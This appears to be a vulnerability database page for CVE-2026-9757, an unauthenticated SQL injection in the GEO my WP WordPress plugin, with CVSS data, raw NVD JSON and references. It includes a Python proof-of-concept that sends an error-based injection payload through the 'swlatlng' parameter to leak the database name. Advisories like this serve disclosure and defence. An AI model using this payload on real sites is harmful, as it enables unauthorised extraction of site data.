Security Vulnerability Report
中文
CVE-2026-9757 CVSS 7.5 HIGH

CVE-2026-9757

Published: 2026-05-30 10:16:24
Last Modified: 2026-06-01 15:16:05

Description

The GEO my WP plugin for WordPress is vulnerable to SQL Injection via the 'swlatlng' and 'nelatlng' parameters in all versions up to, and including, 4.5.5 The parameters are read from $_SERVER['QUERY_STRING'] via parse_str() (bypassing WordPress's wp_magic_quotes protection, which only covers $_POST/$_GET/$_COOKIE/$_REQUEST), then each is split on ',' via explode() and the resulting fragments are interpolated directly into a SQL BETWEEN clause in gmw_get_locations_within_boundaries_sql() without is_numeric() validation, (float) casting, esc_sql(), or $wpdb->prepare(). This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. Exploitation requires the site to host the Posts Locator search-results shortcode (`[gmw form="results" form_id=N]`) on a public page and to have at least one published post with an associated gmw_location row.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

GEO my WP <= 4.5.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2026-9757 SQL Injection PoC for GEO my WP plugin # Target: WordPress site with GEO my WP plugin <= 4.5.5 # Requirement: Posts Locator shortcode [gmw form="results" form_id=N] on public page target_url = "http://target-wordpress-site.com/" form_id = 1 # Replace with actual form_id # SQL Injection payload to extract database name payload = "1,1) AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT database()), 0x7e, FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)u)-- " # Encode payload for URL encoded_payload = requests.utils.quote(payload) # Construct malicious URL params = { "swlatlng": encoded_payload, "nelatlng": "90,180" } # Send request try: response = requests.get(target_url, params=params, timeout=10) print(f"Status Code: {response.status_code}") print(f"Response Length: {len(response.text)}") # Check for SQL error or successful injection if "Duplicate entry" in response.text or "~1" in response.text: print("[+] SQL Injection successful - database name may be leaked") except requests.RequestException as e: print(f"[-] Request failed: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-9757", "sourceIdentifier": "[email protected]", "published": "2026-05-30T10:16:23.980", "lastModified": "2026-06-01T15:16:05.030", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The GEO my WP plugin for WordPress is vulnerable to SQL Injection via the 'swlatlng' and 'nelatlng' parameters in all versions up to, and including, 4.5.5 The parameters are read from $_SERVER['QUERY_STRING'] via parse_str() (bypassing WordPress's wp_magic_quotes protection, which only covers $_POST/$_GET/$_COOKIE/$_REQUEST), then each is split on ',' via explode() and the resulting fragments are interpolated directly into a SQL BETWEEN clause in gmw_get_locations_within_boundaries_sql() without is_numeric() validation, (float) casting, esc_sql(), or $wpdb->prepare(). This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. Exploitation requires the site to host the Posts Locator search-results shortcode (`[gmw form=\"results\" form_id=N]`) on a public page and to have at least one published post with an associated gmw_location row."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/geo-my-wp/tags/4.5.5/includes/class-gmw-form-core.php#L794", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/geo-my-wp/tags/4.5.5/includes/class-gmw-form.php#L117", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/geo-my-wp/tags/4.5.5/includes/gmw-functions.php#L520", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/geo-my-wp/tags/4.5.5/includes/gmw-functions.php#L678", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/geo-my-wp/tags/4.5.5/plugins/posts-locator/includes/class-gmw-wp-query.php#L266", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3552886/geo-my-wp/trunk/includes/gmw-functions.php", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?old_path=%2Fgeo-my-wp/tags/4.5.5&new_path=%2Fgeo-my-wp/tags/4.5.5.1", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/042f78a4-2256-4286-aa03-8bd8b7a79530?source=cve", "source": "[email protected]"}]}}